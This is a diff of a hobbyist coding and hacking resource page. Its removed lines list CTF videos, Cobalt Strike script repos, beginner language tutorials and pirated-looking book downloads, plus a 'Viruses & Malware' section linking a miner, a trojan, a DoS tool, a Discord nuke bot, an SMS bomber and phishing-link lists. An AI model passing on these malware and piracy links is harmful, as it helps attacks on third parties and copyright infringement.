-                        <a href="https://github.com/Und3rf10w/Aggressor-scripts">Aggressor Scripts 2</a>
-                        <a href="https://github.com/harleyQu1nn/AggressorScripts">Aggressor Scripts 3</a>
-                        <a href="https://github.com/rasta-mouse/Aggressor-Script">Aggressor Scripts 4</a>
-                        <a href="https://github.com/RhinoSecurityLabs/Aggressor-Scripts">Aggressor Scripts 5</a>
-                        <a href="https://github.com/bluscreenofjeff/AggressorScripts">Aggressor Scripts 6</a>
-                        <a href="https://github.com/001SPARTaN/aggressor_scripts">Aggressor Scripts 7</a>
-                        <a href="https://github.com/360-A-Team/CobaltStrike-Toolset">CobaltStrike Toolset for Aggressor Scripts</a>
-                        <a href="https://github.com/Hacking-the-Cloud/htc-ctfs/tree/main/aws/cicdont">CICDont</a>
-                        <a href="https://hackingthe.cloud/aws/capture_the_flag/cicdont/">CICDont Capture the Flag</a>
-                        <a href="https://github.com/b1-team/superma">Superma</a>
-                        <a href="https://github.com/3nock/SpiderSuite">SpiderSuite</a>
-                        <a href="https://github.com/struppigel/PortexAnalyzerGUI">Portex Analyzer GUI</a>
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                  <AccordionItem title="Medium Resources" id="mediumresources" parent="hackingresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>Medium Resources</h5>
-                      <p>
-                        <a href="https://medium.com/@rickarentsen/rock-paper-scissors-game-made-with-tkinter-with-python-e4003f697e0c">Rock Paper Scissors (Python Tutorial)</a>
-                        <a href="https://medium.com/@rickarentsen/5-interesting-facts-about-the-internet-b78b656f1a63 feedback is appreciated">5 Internet Facts</a>
-                        <a href="https://medium.com/@viveik.chauhan/blind-remote-code-execution-b9c4e119f7c3">Blind Remote Code Execution</a>
-                        <a href="https://medium.com/@dmxinajeansuit/elf-binary-mangling-part-1-concepts-e00cb1352301">Elf Binary Mangling (Part 1)</a>
-                        <a href="https://medium.com/@dmxinajeansuit/elf-binary-mangling-pt-2-golfin-7e5c82bb482c">Elf Binary Mangling (Part 2)</a>
-                        <a href="https://medium.com/@dmxinajeansuit/elf-binary-mangling-part-3-weaponization-6e11971108b3">Elf Binary Mangling (Part 3)</a>
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                  <AccordionItem title="Almond Force Videos" id="almondforce" parent="hackingresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>Almond Force Videos</h5>
-                      <p>
-                        <a href="https://www.youtube.com/watch?v=LNnVlwWDe-M&list=PLUrAjkLbvTpJmHslr1BljYnm5Lnuug9jF">BCACTF 3</a>
-                        <a href="https://www.youtube.com/watch?v=I7ugaarsN9M&list=PLUrAjkLbvTpKw5ZC-jryJI6wQpHvH_naE">HeroCTF v4</a>
-                        <a href="https://www.youtube.com/watch?v=0dXv4mgFvEo&list=PLUrAjkLbvTpJvQddU6MZooARtnKtcI6Li">Incognito 3</a>
-                        <a href="https://www.youtube.com/watch?v=A9ACD-DGM2U&list=PLUrAjkLbvTpKNt1wDghHXqWGrt7p3nFfP">MidnightFlag - INFEKTION</a>
-                        <a href="https://www.youtube.com/watch?v=YljnMU6iswU&list=PLUrAjkLbvTpIID1I8sdwwe4fgFJOZCGhV">Hacky Holidays 2022</a>
-                        <a href="https://www.youtube.com/watch?v=4UzHNuhTJbs&list=PLUrAjkLbvTpLJGPdxueL5uRvUVwmr4SnY">Hack the Boo 2022</a>
-                        <a href="https://www.youtube.com/watch?v=j1CYn74wCXU&list=PLUrAjkLbvTpJK0qbXAE7H73H8WkY26OwD">CTF After Dark - Fall 2022</a>
-                        <a href="https://www.youtube.com/watch?v=TKFgnuftyrs&list=PLUrAjkLbvTpKOlxddIlVkOBvydnEw7qVS">Digital Overdose 2022 Autumn CTF</a>
-                        <a href="https://www.youtube.com/watch?v=kYcEAeek_Wk&list=PLUrAjkLbvTpIQLKVQHi1XJBGaBp6UAjQM">DEADFACE CTF 2022</a>
-                        <a href="https://m.youtube.com/watch?v=BjtVkYRhCHU&list=PLUrAjkLbvTpKN8YKY6ZBEag_EAOGBa9jQ">HTB Business CTF</a>
-                        <a href="https://www.youtube.com/watch?v=K1dOFkvOjiA&list=PLUrAjkLbvTpJ10Wol8D8HQM7oq6mOtUBP">Tenable CTF 2022</a>
-                        <a href="https://youtu.be/wOLkE6HyKqY">TyphoonCon CTF 2022 (KeyGenMe)</a>
-                        <a href="https://www.youtube.com/watch?v=ppvNiujCtlo&list=PLUrAjkLbvTpK_2XGiUTkrRvUhr1kVlZak">Cyber Apocalypse 2022 (HackTheBox)</a>
-                        <a href="https://www.youtube.com/watch?v=bDEXY_MY_Wk&feature=youtu.be">Hack The Box - Starting Point (Tier 0): Fawn</a>
-                        <a href="https://www.youtube.com/watch?v=yt_jfx4D1gY">Hack The Box - Starting Point (Tier 0): Meow & Almond Force Channel Updates</a>
-                        <a href="https://www.youtube.com/watch?v=7Ln4Ga8WBG8">HackTheBox Marshal in the Middle</a>
-                        <a href="https://www.youtube.com/watch?v=n4RK09OZbAw&list=PLUrAjkLbvTpLUHxP0zFq7kwRqs4NZIFvW">11 HackTheBox Videos</a>
-                        <a href="https://www.youtube.com/watch?v=w8MJitt3irc&list=PLUrAjkLbvTpLtLloI8Pqk1P3n8p1sCRw2">TJCTF 2022</a>
-                        <a href="https://www.youtube.com/watch?v=nSAJmtLbD-k&list=PLUrAjkLbvTpLT35eSB5anERpDAx2ogSCJangstrom">BYU CTF 2022</a>
-                        <a href="https://www.youtube.com/watch?v=lI4gpyz09PE&list=PLUrAjkLbvTpJoJ5mVa0lf_UtoSetcwylu">Digital Overdose CTF 2022</a>
-                        <a href="https://www.youtube.com/watch?v=-MdxtbXvDGI&list=PLUrAjkLbvTpLnJzdh8v4ONJI4TE14hhkq">NahamCon CTF 2022</a>
-                        <a href="https://www.youtube.com/watch?v=BpX0TwnDTQY&list=PLUrAjkLbvTpI6p83T4HEx8rc3RBMuYw10">Boilers CTF 2022</a>
-                        <a href="https://www.youtube.com/watch?v=0SnelTGKfDM&list=PLUrAjkLbvTpJgi2wc03ElMfgk9iAv7vSd">PatriotCTF 2022</a>
-                        <a href="https://www.youtube.com/watch?v=9uxuPygnEwk&list=PLUrAjkLbvTpIX9ZMshTxR3cJyW_kkOFIg">TAMUctf 2022</a>
-                        <a href="https://www.youtube.com/watch?v=UbAaLQz38T4&list=PLUrAjkLbvTpKnj4AARb4MeBb3hjOjF6BN">picoCTF 2022</a>
-                        <a href="https://www.youtube.com/watch?v=yeGdAOd4mEw&list=PLUrAjkLbvTpKS3VsD_G6GOD648aaYj46l">Metared CTF 2022 Stage 1</a>
-                        <a href="https://www.youtube.com/watch?v=cEhL-N6fPfs&list=PLUrAjkLbvTpLEz-ZjJDSNmUyD8apzG16m">Metared CTF 2022 Stage 2</a>
-                        <a href="https://youtu.be/crz0VYlV1eg">Metared CTF 2022 Stage 3</a>
-                        <a href="https://youtu.be/Y05VYgaVzz0">Metared CTF 2022 Stage 4</a>
-                        <a href="https://www.youtube.com/watch?v=lFNXm-hj53c&list=PLUrAjkLbvTpIkDrQ4zC2Hc9QUVl6xAe4s">Blackhat MEA CTF 2022</a>
-                        <a href="https://www.youtube.com/watch?v=J6Zyn7B3FS0">WRECKCTF2022</a>
-                        <a href="https://www.youtube.com/watch?v=6pMl2EB7Y7A&list=PLUrAjkLbvTpLIMsikAb4WY0wQPlaZ9jpo">DownUnderCTF 2022</a>
-                        <a href="https://www.youtube.com/watch?v=0KEj7GNXfQ8&list=PLUrAjkLbvTpJMEg0f8qDzWJpTOfm1i41B">CSAW CTF 2022</a>
-                        <a href="https://www.youtube.com/watch?v=_nriNzpVrgQ&list=PLUrAjkLbvTpI4BFDBOFZnMr7Z61y0Ejvs">Inter-Galactic CTF 2022</a>
-                        <a href="https://www.youtube.com/watch?v=fIcuIE1C-FY&list=PLUrAjkLbvTpIcQaDPx4sOGOUca4IpWLDI">SHELL CTF 2022</a>
-                        <a href="https://www.youtube.com/watch?v=o2b33EMBM5w">Whack-a-frog corCTF 2022</a>
-                        <a href="https://www.youtube.com/watch?v=PmBTMNqUTys&list=PLUrAjkLbvTpK4ixlkQxZDrsj9mASlz26N">T3N4CI0US CTF 2022</a>
-                        <a href="https://www.youtube.com/watch?v=6OANStAZEss&list=PLUrAjkLbvTpIOn4XCn7F9V5SXMXve766b">TFC CTF 2022</a>
-                        <a href="https://www.youtube.com/watch?v=_w5qd0Rh9sg">MITRE Cyber Academy CTF 2022</a>
-                        <a href="https://www.youtube.com/watch?v=j8CVLGuNlwk&list=PLUrAjkLbvTpKbRFTCCxpqtCYVh3cfo0-v">picoCTF 2023</a>
-                        <a href="https://www.youtube.com/watch?v=pbdC-POk-XU&list=PLUrAjkLbvTpKBgf4uRsc2JWhs8OZeswah">Cyber Apocalypse 2023</a>
-                        <a href="https://www.youtube.com/watch?v=6S0v8lIk9oA">CTFGuide to CyberChef</a>
-                        <a href="https://www.youtube.com/watch?v=zH7GwcaCktA">Are Certs Worth It?</a>
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                </Fragment>
-              </Accordion>
-            </Fragment>
-          </AccordionItem>
-          <AccordionItem title="Downloadable Resources" id="downloadableresources" parent="resourcesAccordion">
-            <Fragment slot="accordion-item-content">
-              <h4>Downloadable Resources</h4>
-              <div class="my-1">
-                <h4>Windows Kernel Programming</h4>
-                <a class="btn btn-primary" href="/media/files/Windows_Kernel_Programming_-_PDF_Room.pdf">View</a>
-              </div>
-              <hr>
-              <div class="my-1">
-                <h4>Practical IoT Accessing</h4>
-                <a class="btn btn-primary" href="/media/files/Practical_IoT_Hacking.pdf">View</a>
-              </div>
-              <hr>
-              <div class="my-1">
-                <h4>Black Hat w/ Python</h4>
-                <a class="btn btn-primary" href="/media/files/Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters.pdf">View</a>
-              </div>
-              <hr>
-              <div class="my-1">
-                <h4>DoD for CyberSecurity</h4>
-                <a class="btn btn-primary" href="https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF">View</a>
-              </div>
-              <hr>
-              <div class="my-1">
-                <h4>Race Conditions for Web Pentesting</h4>
-                <a class="btn btn-primary" href="https://book.hacktricks.xyz/pentesting-web/race-condition">View</a>
-              </div>
-              <hr>
-              <div class="my-1">
-                <h4>Digital Systems (10th Edition PDF)</h4>
-                <div class="d-sm-flex gap-2">
-                  <a class="btn btn-primary" href="https://doc.lagout.org/electronics/Digital%20Systems%20Principles%20And%20Applications%20%20%5Bby%20Ronald%20Tocci%5D.pdf">View</a>
-                  <a class="btn btn-secondary" href="https://doc.lagout.org">doc.lagout.org</a>
-                </div>
-              </div>
-              <hr>
-              <div class="my-1">
-                <h4>Clean Architecture: Structuring your Applications for Minimal Effort & Maximal Result.</h4>
-                <a class="btn btn-primary" href="/media/pdf/clean-architecture-a-craftsmans-guide-to-software-structure-and-design_compress.pdf">View</a>
-              </div>
-              <hr>
-              <div class="my-1">
-                <h4>1,000 I.T books!</h4>
-                <a class="btn btn-primary" href="https://drive.google.com/drive/folders/1F7D5c30nP-y_Q7SFqoRTRvJ7tl0UcY3q">View</a>
-              </div>
-              <hr>
-              <div class="my-1">
-                <h4>Over 8M+ eBooks!</h4>
-                <a class="btn btn-primary" href="https://z-lib.io/">View</a>
-              </div>
-            </Fragment>
-          </AccordionItem>
-        </Fragment>
-      </Accordion>
-    </div>
-    <hr>
-    <div id="files">
-      <h2> Viruses &amp; Malware </h2>
-      <p>
-        <a href="/media/files/Meme_Coin.ZIP" download>Meme_Coin (ZIP)</a>
-        <a href="/media/files/Meme_coin_miner.exe" download>Meme_Coin (EXE)</a>
-        <a href="/media/files/My_App.zip" download>My_App (ZIP)</a>
-        <a href="/media/files/Myballzhert.zip" download>Myballzhert (ZIP)</a> by Dream3456789 (Password: "mysubsarethebest")
-      </p>
-      <p>
-        <a href="/media/files/Trojan_Spyer.exe" download>Trojan_Spyer (EXE)</a> by MagSam2
-      </p>
-      <p>
-        <a href="/media/files/Nuking-Discord-Server-Bot-Nuke-Bot-master.zip" download>Nuking Discord Bot (ZIP)</a>
-      </p>
-      <p>
-        <a href="/media/files/Scammed.zip" download>Scam (ZIP)</a> by the pfp is for nuking kpopserver
-      </p>
-      <p>
-        <a href="/media/files/BFF_DoS.exe" download>BFF_DoS (exe)</a>
-        <a href="/media/files/Code.txt" download>Code (TXT)</a>
-        <a href="/media/files/baby.bat" download>Baby (BAT)</a>
-        <a href="/media/files/BabyCodes.txt" download>BabyCodes (TXT)</a> by Corrupt Assassin
-      </p>
-    </div>
-    <hr>
-    <div id="code">
-      <h2> Code Samples </h2>
-      <p>
-        <a href="https://github.com/FordArthur/insitucs">Insitux Compiler</a>
-        <a href="https://github.com/FordArthur/chess-ix">Chess I (Insitux)</a>
-        <a href="/media/files/chess.ix" download>Chess II (Insitux)</a>
-        <a href="https://github.com/FordArthur/ballistics-ix">Ballstics I (Insitux)</a>
-        <a href="https://github.com/FordArthur/Insitux-math-libs">Math Libs for Insitux</a>
-        <a href="https://github.com/FordArthur/svelte-app">svelte-app</a>
-        <a href="/media/files/RosettaCode.ix" download>Rosetta Code (Insitux)</a>
-        <a href="/media/files/polinomic-solver.ix" download>Polinomic Solver (Insitux)</a>
-        <a href="/media/files/ambiguous-operator.ix" download>Ambiguous Operator (Insitux)</a>
-        <a href="/media/files/rockpaperscissors.ix" download>Rock Paper Scissors (Insitux)</a> by Al-Ford Arthur
-      </p>
-      <a href="/media/files/rockpaperscissors.py" download>Rock Paper Scissors (Python)</a> by Sezieru <p></p>
-      <p>
-        <a href="https://github.com/Savageboitim13/UMS-WF/">UMS-WF</a>
-        <a href="https://github.com/Savageboitim13/Principles-CSharp">Principles for C# &amp; Java</a> by venenjean
-      </p>
-      <p>
-        <a href="https://github.com/phunanon/ip3">IP3</a> by Patrick
-      </p>
-      <p>
-        <a href="https://github.com/JSman225/ROTL">ROTL</a> by JSman225
-      </p>
-      <p>
-        <a href="/media/files/test-OBFUSCATED.py" download>ISS Obfuscator (Python 3.9)</a> by vesper
-      </p>
-      <p>
-        <a href="/media/files/long_snakes_long_code_.py" download>Snake Game in One Line of Code (Python)</a> by ByThon
-      </p>
-      <p>
-        <a href="https://github.com/ProtDos/ScammerPayback">ScammerPayback</a>
-        <a href="/media/files/tic.py" download>Tic Tac Toe (Python)</a>
-        <a href="https://github.com/ProtDos/Flask-PayPal/archive/refs/heads/main.zip" download>Flask PayPal (Python | ZIP)</a>
-        <a href="/media/files/stress.py" download>Apache Stress Tester (Python)</a>
-        <a href="/media/files/bestree.py" download>bestree (Python)</a>
-        <a href="/media/files/protect.py" download>SSL Protection (Python)</a>
-        <a href="https://github.com/ProtDos/SeedPhraseHack/archive/refs/heads/main.zip" download>SeedPhraseHack (Python | ZIP)</a>
-        <a href="/media/files/checker.py" download>Domain Checker (Python)</a>
-        <a href="https://github.com/ProtDos/DiscordMassDM">Discord Mass DM</a> (<a href="https://github.com/ProtDos/DiscordMassDM/archive/refs/heads/main.zip">Python | ZIP</a>)
-      </p>
-      <p>
-        <a href="https://github.com/ProtDos/IP-Address-Generator-Checker">IP Address Generator Checker</a> (<a href="https://github.com/ProtDos/IP-Address-Generator-Checker/archive/refs/heads/main.zip">Python | ZIP</a>)
-      </p>
-      <p>
-        <a href="https://github.com/ProtDos/ClashOfClans-Wrapper">Clash of Clans Wrapper</a> (<a href="https://github.com/ProtDos/ClashOfClans-Wrapper/archive/refs/heads/main.zip">Python | ZIP</a>)
-      </p>
-      <p>
-        <a href="https://github.com/ProtDos/Crunch-PasswordGenerator/archive/refs/heads/main.zip" download>Crunch Password Generator (Python | ZIP)</a>
-        <a href="https://github.com/ProtDos/Mint">Mint (OSINT)</a> (<a href="https://github.com/ProtDos/Mint/archive/refs/heads/main.zip">Python | ZIP</a>)
-      </p>
-      <p>
-        <a href="https://github.com/ProtDos/WebcamSearch/archive/refs/heads/main.zip" download>Webcam Search (Python | ZIP)</a>
-        <a href="https://github.com/ProtDos/Discord-Token-Onliner">Discord Token Onliner</a> (<a href="https://github.com/ProtDos/Discord-Token-Onliner/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/boosint">boosint (OSINT)</a> (<a href="https://github.com/ProtDos/boosint/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/ntru">ntru</a> (<a href="https://github.com/ProtDos/ntru/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/pq-ntru">pq-ntru</a> (<a href="https://github.com/ProtDos/pq-ntru/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/IP-Address-Generator-Checker">IP Address Generator Checker</a> by CodingLive
-      </p>
-      <h4>ncrypt.c by Sezieru</h4> This is a relatively simple example for using <code>crypt()</code> on Linux to generate Linux-compatible password hashes. This is useful for replacing a lost password hash, for example. <p>
-        <a href="/media/files/ncrypt.c" download>ncrypt.c Download</a>
-      </p>
-      <h4> Other OSINT Guides </h4>
-      <p>
-        <a href="https://github.com/ProtDos/VanishGuide">VanishGuide</a>
-        <a class="link-danger" href="https://github.com/ProtDos/discord-phishing-links">Discord Phishing Links</a>
-        <a class="link-danger" href="https://github.com/ProtDos/IP-Address-List">IP Address List</a> By CodingLive
-      </p>
-    </div>
-    <hr>
-    <div id="app">
-      <h2> Apps &amp; Software </h2>
-      <p>
-        <a href="/media/files/sms_bomb.apk" download>SMS Bomb (APK)</a> (<a href="/sms">Site</a>) by CodingLive
-      </p>
-      <h4>Veilo by CodingLive</h4>
-      <p>
-        <a href="https://veilo.protdos.com/download">Veilo</a>
-      </p>
-      <p>
-        <a href="/redirect/veilo">Veilo Download</a>
-      </p>
-      <h4>Encochat by CodingLive</h4>
-      <p>
-        <a href="https://github.com/ProtDos/encochat">Encochat v1</a>
-      </p>
-      <p>
-        <a href="https://github.com/ProtDos/PrivateChatOld">Encochat v2</a>
-      </p>
-      <p>
-        <a href="https://github.com/ProtDos/PrivateChat">Encochat v3</a>
-      </p>
-      <p>
-        <a href="https://app.protdos.com/">Encochat Website</a>
-      </p>
-      <p>
-        <a href="/redirect/encochat">Encochat Download</a>
-      </p>
-      <h4>vpnchecker by CodingLive</h4>
-      <p>
-        <a href="https://github.com/ProtDos/vpnchecker">vpnchecker</a> (<a href="https://github.com/ProtDos/vpnchecker/archive/refs/heads/main.zip">HTML | ZIP</a>)
-      </p>
-      <p>
-        <a class="link-danger" href="https://protdos.github.io/vpnchecker">vpnchecker Website</a>
-      </p>
-    </div>
-    <hr>
-    <div id="py">
-      <h2> Python Basics </h2>
-      <Scrollspy id="py-basics-list" 
-            scrollcontent={[ 
-              { name: "Comments" , href: "#com-3" }, 
-              { name: "Data Types" , href: "#data-3" }, 
-              { name: "Strings" , href: "#str-3" }, 
-              { name: "Numbers" , href: "#num-3" }, 
-            ]}
-          >
-        <Fragment slot="scrollspy-content">
-          <div id="com-3">
-            <h4>Comments</h4>
-            <p>You can write text that the program will ignore by beginning the line with a #, this helps with reminding you what certain code does or for explaining purposes. <br>
-              <br>
-              <code> # This is a comment </code>
-            </p>
-          </div>
-          <div id="data-3">
-            <h4>Data Types</h4>
-            <p>Variables can store data of different types, and different types can do different things.</p>
-            <p>Python has the following data types built-in by default, in these categories: <br> Text Type: <code>str</code>
-              <br> Numeric Types: <code>int, float, complex</code>
-              <br> Sequence Types: <code>list, tuple, range</code>
-              <br> Mapping Type: <code>dict</code>
-              <br> Set Types: <code>set, frozenset</code>
-              <br> Boolean Type: <code>bool</code>
-              <br> Binary Types: <code>bytes, bytearray, memoryview</code>
-            </p>
-            <p>We will go more in-depth on some of these types in the next few paragraphs.</p>
-            <p>You can print the data type of a variable with the type() function: <br>
-              <code> x = 5 <br> print(type(x)) </code>
-            </p>
-          </div>
-          <div id="str-3">
-            <h4>Strings</h4>
-            <p>Strings are surrounded by either single quotation marks, or double quotation marks.</p>
-            <code> x = "hello" <br> y = 'hello' <br> # single quotations and double quotation marks are the same <br> x == y # returns True </code>
-            <p></p>
-            <p>You can assign a multiline string to a variable by using three quotes: <br>
-              <code> x = """The FitnessGram Pacer test is a multistage aerobic capacity test that progressively gets more difficult as it continues. The 20 meter Pacer test will begin in 30 seconds.""" </code>
-            </p>
-            <p>You can check the length of a string using the len() function: <code> x = "hello" <br> print(len(text)) # returns 5 <br>
-              </code>
-            </p>
-          </div>
-          <div id="num-3">
-            <h4>Numbers</h4>
-            <p>There are 2 primary, <code>int</code> and <code>float</code>
-            </p>
-            <p>
-              <code> x = 2 # int <br> y = 2.8 # float </code>
-            </p>
-            <p>To verify the type of an object in Python, use the type() function: <code> print(type(x)) <br> print(type(y)) </code>
-            </p>
-            <p>Int, or integers, are whole numbers, positive or negative, without decimals.</p>
-            <p>Float is a number, positive or negative, containing one or more decimals.</p>
-            <p>Both strings and numbers are built-in data types.</p>
-          </div>
-        </Fragment>
-      </Scrollspy>
-    </div>
-    <hr>
-    <div id="cpp">
-      <h2> C++ Basics </h2>
-      <Scrollspy id="cpp-basics-list" scrollcontent={[ { name: "Strings" , href: "#str-4" }, { name: "Integers" , href: "#integers-4" }, { name: "Print" , href: "#print-4" }, ]}>
-        <Fragment slot="scrollspy-content">
-          <div id="str-4">
-            <h4>Strings</h4>
-            <p> A string is a sequence of characters representing text. Strings are typically enclosed in quotation marks and can be stored in variables for later use in a program. </p>
-            <p>
-              <code> #include &lt;ostream&gt; <br> #include &lt;string&gt; <br>
-                <br>
-                <br> int main() <br> &lbrace; <br> // Declare a string variable <br> std&colon;&colon;string str = "codinghome"; <br> &rbrace; </code>
-            </p>
-          </div>
-          <div id="integers-4">
-            <h4>Integers and Floating Point Numbers</h4>
-            <p>Simply said, Integers are used for numbers without a decimal, and Float is used for numbers with decimals, <b>simply said</b>. There is more to that but we are keeping it simple. </p>
-            <p>
-              <code> #include &lt;iostream&gt; <br>
-                <br> int main() &lbrace; // Declare an integer variable int num = 10; // Declare a floating-point variable float fnum = 10.5; &rbrace; </code>
-            </p>
-          </div>
-          <div id="print-4">
-            <h4>Print</h4>
-            <p> Printing an output to the terminal/console or whatever you want to call it. </p>
-            <p>
-              <code>
-                #include &lt;iostream&gt;<br>
-                <br>
-                int main() &lbrace;<br>
-                &nbsp;&nbsp;// Declare an integer variable<br>
-                &nbsp;&nbsp;int num = 10;<br>
-                <br>
-                &nbsp;&nbsp;// Declare a floating-point variable<br>
-                &nbsp;&nbsp;float fnum = 10.5;<br>
-                <br>
-                &nbsp;&nbsp;std::cout &lt;&lt; "num: " &lt;&lt; num &lt;&lt; std::endl; // &lt;-- Prints the integer variable (variable num)<br>
-                &nbsp;&nbsp;std::cout &lt;&lt; "fnum: " &lt;&lt; fnum &lt;&lt; std::endl; // &lt;-- Prints the floating point variable (variable fnum)<br>
-                <br>
-                &nbsp;&nbsp;return 0;<br>
-                &rbrace;
-              </code>
-            </p>
-          </div>
-        </Fragment>
-      </Scrollspy>
-    </div>
-    <hr>
-    <div id="hs">
-      <h2> Haskell Basics </h2>
-      <Scrollspy id="hs-basics-list" 
-            scrollcontent={[ 
-              { name: "Data Types" , href: "#data-5" }, 
-              { name: "Function Type Declartion" , href: "#ftd-5" }, 
-              { name: "Function Defintion" , href: "#fde-5" }, 
-              { name: "Functional Principles" , href: "#fpr-5" }, 
-              { name: "Comments" , href: "#com-5" }, 
-            ]}
-          >
-        <Fragment slot="scrollspy-content">
-          <div id="data-5">
-            <h4>Data Types</h4>
-            <p>In Haskell, types are how you describe the data your program will work with. Types can be simple, like:</p>
-            <ul>
-              <li>Bool: boolean True or False.</li>
-              <li>Char: one character.</li>
-              <li>Int: fixed-precision signed integer (usually 64-bit)</li>
-              <li>Float / Double: floating-point values.</li>
-            </ul>
-            <p>Or, they can be composed with constructs, like:</p>
-            <ul>
-              <li>String: shortcut for [Char].</li>
-              <li>[a] : list of <code>a</code>s (where a is a general type). </li>
-              <li>(a, b) : tuple composed of <code>a</code> and <code>b</code>
-              </li>
-              <li>Just a : Maybe monad with the <code>Just</code> option </li>
-            </ul>
-          </div>
-          <div id="ftd-5">
-            <h4>Function Type Declaration</h4>
-            <p>Haskell's functions will usually have 2 parts: a type declaration, and the implementation of the function itself (the type part can also be inferred):</p>
-            <code> -- type declaration <br> -- constraints =&gt; type -&gt; ... -&gt; returnType (the last type will always be the return type) <br> countIns :: Eq a =&gt; a -&gt; [a] -&gt; Int <br> -- implementation <br> countIns x = length . filter (== x) <br>
-            </code>
-            <ul><li>Bool: boolean True or False.</li><li>Char: one character.</li><li>Int: fixed-precision signed integer (usually 64-bit)</li><li>Float / Double: floating-point values.</li>
-            </ul>
-            <p>Notice the type declaration has 2 types of "arrows": <code>=&gt;</code> and <code>-&gt;</code>. </p>
-            <ul><li>=&gt; : used for giving additional context of what rules <code>a</code> should follow (in the example above, we see a should be part of the <code>Eq</code> class, which allows for comparison)</li><li>-&gt; : used for actually declaring the type of the function (in the above example, we see the first argument is <code>a</code>, a general, comparable type, then a list of as and then finally it outputs an <code>Int</code>eger)</li>
-            </ul>
-          </div>
-          <div id="fde-5">
-            <h4>Function Definition</h4>
-            <p>Functions are defined like: <code>functionName argument(s) = expression</code>. Haskell forces declarative style, so functions are (usually) composed of just an expression (always returns a value). </p>
-            <code> -- type declaration countIns :: Eq a =&gt; a -&gt; [a] -&gt; Int -- implementation -- function args = expression countIns x = length . filter (== x) </code>
-          </div>
-          <div id="fpr-5">
-            <h4>Functional Principles</h4>
-            <p>Haskell restricts to the functional paradigm, meaning Haskell enforces:</p>
-            <ul><li><b>Immutability:</b> when the <code>data</code> has to be defined again for it to "change"</li><li><b>Purity:</b> functions must be pure, producing no side-effects (like modifying a global variable), and must be deterministic (<code>f(x) = y</code>, no matter when <code>f</code> is called)</li><li><b>Higher-order functions:</b> functions must be first-class, meaning they can be passed as arguments to other functions. This allows for higher-order functions. which take a function and other data and apply the function to the data in different ways.</li><li><b>Disciplined state </b> trying to minimize the use of mutable state and trying to make it local when possible.</li>
-            </ul>
-          </div>
-          <div id="com-5">
-            <h4>Comments</h4>
-            <p>In-line comments are made with <code>--</code> and block comments with <code>&lbrace;- -&rbrace;</code>: </p>
-            <code> -- inline<br> commentHere = False &lbrace;- block commenHere = True -&rbrace; </code>
-          </div>
-        </Fragment>
-      </Scrollspy>
-    </div>
-    <hr>
-    <div id="html">
-      <h2> HTML Basics </h2>
-      <Scrollspy id="html-basics-list"
-        scrollcontent={[
-          { name: "Example Document", href: "#example-6" },
-          { name: "HTML Headings", href: "#head-6" },
-          { name: "HTML Paragraphs", href: "#text-6" },
-          { name: "HTML Links", href: "#links-6" },
-          { name: "HTML Images", href: "#img-6" },
-        ]}
-      >
-            <Fragment slot="scrollspy-content">
-              <div id="example-6">
-                <h4>Example Document</h4>
-                <code>
-                &lt;!DOCTYPE html&gt;<br>
-                &lt;html&gt;<br>
-                &nbsp;&lt;body&gt;<br>
-                &nbsp;&nbsp;&lt;h1&gt;My first Heading&lt;/h1&gt;<br>
-                &nbsp;&nbsp;&lt;p&gt;My first paragraph&lt;/p&gt;<br>
-                &nbsp;&lt;/body&gt;<br>
-                &lt;/html&gt;
-                </code><br>
-                <p>The <code>&lt;!DOCTYPE&gt;</code> declaration represents the document type, and helps browsers to display web pages correctly. It must only appear once, at the top of the page (before any HTML tags). The <code>&lt;!DOCTYPE&gt;</code> declaration is not case sensitive. </p>
-              </div>
-              <div id="head-6">
-                <h4>HTML Headings</h4>
-                <p>HTML headings are defined with the <code>&lt;h1&gt;</code> to <code>&lt;h6&gt;</code> tags.
-                <code>&lt;h1&gt;</code>defines the most important heading. <code>&lt;h6&gt;</code> defines the least important heading:<br>
-                <code>&lt;h1&gt;Big&lt;/h1&gt;</code> <br>
-                <code>&lt;h6&gt;Small&lt;/h6&gt;</code> </p>
-              </div>
-              <div id="text-6">
-                <h4>HTML Paragraphs</h4>
-                <p>HTML paragraphs are defined with the &lt;p&gt; tag:<code><br>
-                &lt;p&gt;This is a paragraph.&lt;/p&gt;<br>
-                &lt;p&gt;This is another paragraph.&lt;/p&gt;</code></p>
-              </div>
-              <div id="links-6">
-                <h4>HTML Links</h4>
-                <p>HTML links are defined with the &lt;a&gt; tag:<br>
-                <code>&lt;a href="https://example.com"&gt;This is a link&lt;/a&gt;</code></p>
-              </div>
-              <div id="img-6">
-                <h4>HTML Images</h4>
-                <p>HTML images are defined with the &lt;img&gt; tag. The source file (src), alternative text (alt), width, and height are provided as attributes:<br>
-                <code>&lt;img src="example.jpg" alt="example.com" width="104" height="142"&gt;</code></p>
-              </div> 
-            </Fragment>
-          </Scrollspy> 
-        </div>
-        <hr>
-        <div id="css">
-          <h2>CSS Basics</h2>
-          <div class="mb-3">
-            <a href="https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/CSS_basics" target="_blank" rel="noreferrer noopener" class="btn btn-info">Source (Mozilla)</a>
-          </div>
-          <Scrollspy id="css-basics-list"
-          scrollcontent={[
-            { name: "Example Document", href: "#example-7" },
-            { name: "CSS Rulesets", href: "#rules-7" },
-            { name: "Classes", href: "#classes-7" },
-            { name: "Text Elements", href: "#text-7" },
-            { name: "Padding Elements", href: "#pad-7" },
-            { name: "Color Elements", href: "#color-7" },
-            { name: "Comments", href: "#com-7" },
-            { name: "Extra: Centering Images", href: "#eci-7" },
-          ]}
-          >
-            <Fragment slot="scrollspy-content">
-              <div id="example-7">
-                <h4>Example Document</h4>
+                        Then (Console):<br>
+                        <pre><code>sudo apt update</code></pre>
+                        </p>
+                        <h5>Fixing libicu dependency package issue</h5>
+                        <p>Package is at this date & time not available for Ubuntu 24.04 LTS. Paste content (Console):<br>
+<pre>
+<code>
